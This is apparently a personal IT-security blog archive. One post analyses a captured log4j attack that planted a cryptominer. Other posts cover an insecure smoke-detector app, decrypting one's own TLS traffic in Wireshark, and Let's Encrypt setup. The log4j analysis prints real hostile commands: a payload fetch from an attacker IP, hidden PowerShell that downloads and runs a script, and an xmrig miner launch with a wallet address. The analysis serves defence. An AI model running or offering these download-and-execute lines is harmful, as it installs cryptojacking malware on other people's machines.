Category Archives: IT-Security

Ein log4j Angriff (CVE-2021-44228)

Hier ein Beispiel eines log4j Angriffs auf ein nicht verwundbares System.
Folgender Log-Eintrag war auf einem Apache-Webserver zu finden:

Was macht der? Sollte dahinter eine Java Applikation laufen welche die log4j Komponente nutzt, so würde die Datei “Exploit” geladen und ausgeführt.

Wir holen uns mal die Datei:

curl ldap://185.246.87.50:1389/Exploit.class -o Exploit.class

Mit dem Reverse-Engineering Tool namens jadx-gui sehen wir uns die Java-Klasse an, darin finden wir u.A. folgenden Windows Powershell Befehl, welcher bei einer Windows-Umgebung ausgeführt wird:

if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
 Runtime.getRuntime().exec(new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('http://150.60.139.51:80/wp-content/themes/twentyseventeen/s.cmd', $env:temp + '/s.cmd');start-process -FilePath 's.cmd' -WorkingDirectory $env:tmp"});
}

Dieses lädt die s.cmd von einer eventuell gehackten WordPress-Seite herunter und führt diese aus. In der Datei s.cmd steht folgendes:

powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://68.183.165.105:80/wp-content/themes/twentyseventeen/xmrig64.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p log

Wenn s.cmd ausgeführt wird, wird der Monero-Miner xmrig64.exe wiederum von einer WordPress-Seite heruntergeladen und ausgeführt. Die Monero-Adresse lautet: 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE und nutzt den Miner-Pool von supportxmr.com.

Gucken wir da doch mal rein ob es sich lohnt:

Der Erfolg hält sich in Grenzen. Als ich das erste Mal rein geschaut habe war noch eine Hashrate von 12KH/s aktiv, jetzt ist sie auf einen Durchschnitt von 4.7KH/s runter gefallen, was wohl darauf hindeutet dass die meisten Miner entdeckt und gelöscht wurden. 4.7KH/s schafft man laut XMR CPU Benchmarks mit einem aktuellen Intel i7 oder Ryzen 7 Prozessor.

Ausbezahlt wurden bisher 0.08418 XMR, das sind momentan rund 18.90 US-Dollar.
Nehmen wir an der oder die Hacker haben nur diese XMR-Adresse genutzt, so scheint es sich nicht zu lohnen. Ich gehe aber mal davon aus dass verschiedene Angriffe und Adressen genutzt wurden.

Siterwell Rauchmelder GS559 und Gateway GS188 mit FamilyWell App

Ich hab mir vor langer Zeit mal bei einer Aktion unserer Gebäudeversicherung ein Set aus 3 Siterwell Brandmeldern und 1 Gateway bestellt. Die App hab ich mal heruntergeladen, die Bewertungen von iOS und Android App stimmten mich aber nicht gerade zuversichtlich. Die AGB’s sind unverständlich, die Übersetzung in Deutsch allgemein ziemlich wirr und die After-Sales Telefonnummer ist aus China. Weiter sehe ich nirgends wie ich den Account wieder löschen könnte.

Trotzdem habe ich mir heute mal einen Abend Zeit genommen, um mindestens einmal das Gateway mit einem der drei Brandmeldern in Betrieb zu nehmen. Dazu hab ich mir ein Test-WLAN erstellt, an welchem ich die FamilyWell-App mit dem Gateway verbunden habe.

Ein Mitschnitt der Registration sowie des Login-Vorgangs zeigt, was zu befürchten war: Der Login ist unverschlüsselt über http, die Zugangsdaten in Klartext lesbar. Den Benutzernamen hab ich mal unkenntlich gemacht, das Passwort könnt Ihr lesen:

Lustigerweise ist nach dem Login jeglicher Verkehr mit den chinesischen Servern verschlüsselt über https, was aber nicht viel bringt wenn der Loginvorgang mitgelesen werden kann. Dies bezieht sich jedoch nur auf die App. Was ich vom Gateway mitschneiden konnte, war unverschlüsselte Kommunikation mit einer JSON-API.

Dass mit der App noch weitere Sensoren und sogar Kameras verbunden werden könnten, macht das Ganze nicht besser.

Mal schauen ob ich in Zukunft noch mehr Zeit/Lust habe weiter zu grübeln. Jedenfalls kommt das Gateway und die App so bei mir nicht zum Einsatz.

Inspect SSL/TLS Traffic from Chrome/Firefox/curl with Wireshark (no mitm!)

Note 12.01.2020: Updated instructions and printscreens for Wireshark v3.0.

Firefox, Chrome and curl offer the possibility to save the session-keys for https connections. Just set the environment variable “SSLKEYLOGFILE” to a file where you want to store the keys. We do not need to start a man in the middle (mitm) proxy.

Example for MAC OS, execute this in the Terminal:

export SSLKEYLOGFILE=/Users/username/Documents/sslkeylog.log

Then start your Browser (Chrome, Firefox) or curl from the same Terminal-Session.

open -n /Applications/Firefox.app

Now start Wireshark, and go to “Preferences” -> “Protocols” and choose “SSL”. Set the Path to your keylog-file. This tells wireshark to read the Keylog-File for decrypting the captured traffic.

[NOTE:] Since Wireshark 3.0, the TLS dissector has been renamed from SSL to TLS.WIreshark TLS Settings

The following TCP protocol preferences are also required to enable TLS decryption:
– Allow subdissector to reassemble TCP streams. Enabled by default.
– Reassemble out-of-order segments (since Wireshark 3.0, disabled by default).

Now start capturing and see the decrypted traffic. Easy hm?

Wireshark TLS decrypted

I made me a script which sets the variable, opens Firefox and Wireshark:

#!/bin/bash
export SSLKEYLOGFILE=/Users/username/Documents/sslkeylog.log 
open -n /Applications/Firefox.app
open -n /Applications/Wireshark.app

This works the same way on Windows and Linux. On Windows you need the SET command or create a new environment variable in “Control Panel” -> “System” -> “Advanced System Settings” -> “Environment Variables”. Create a new one with name “SSLKEYLOGFILE” and the path to your logfile as value.

Links:
https://wiki.wireshark.org/TLS

LetsEncrypt on CentOS 6 – Free SSL certificate for everyone!

This is a short manual how to use Let’s Encrypt on CentOS 6 with Apache Webserver:

1. Install dependencies:

Download, unzip and install Python:

wget https://www.python.org/ftp/python/2.7.11/Python-2.7.11.tgz
tar -xvpzf Python-2.7.11.tgz
cd Python-2.7.11
./configure
make altinstall

Install Git:

yum install git
git clone https://github.com/letsencrypt/letsencrypt

2. Stop apache:

Continue reading LetsEncrypt on CentOS 6 – Free SSL certificate for everyone!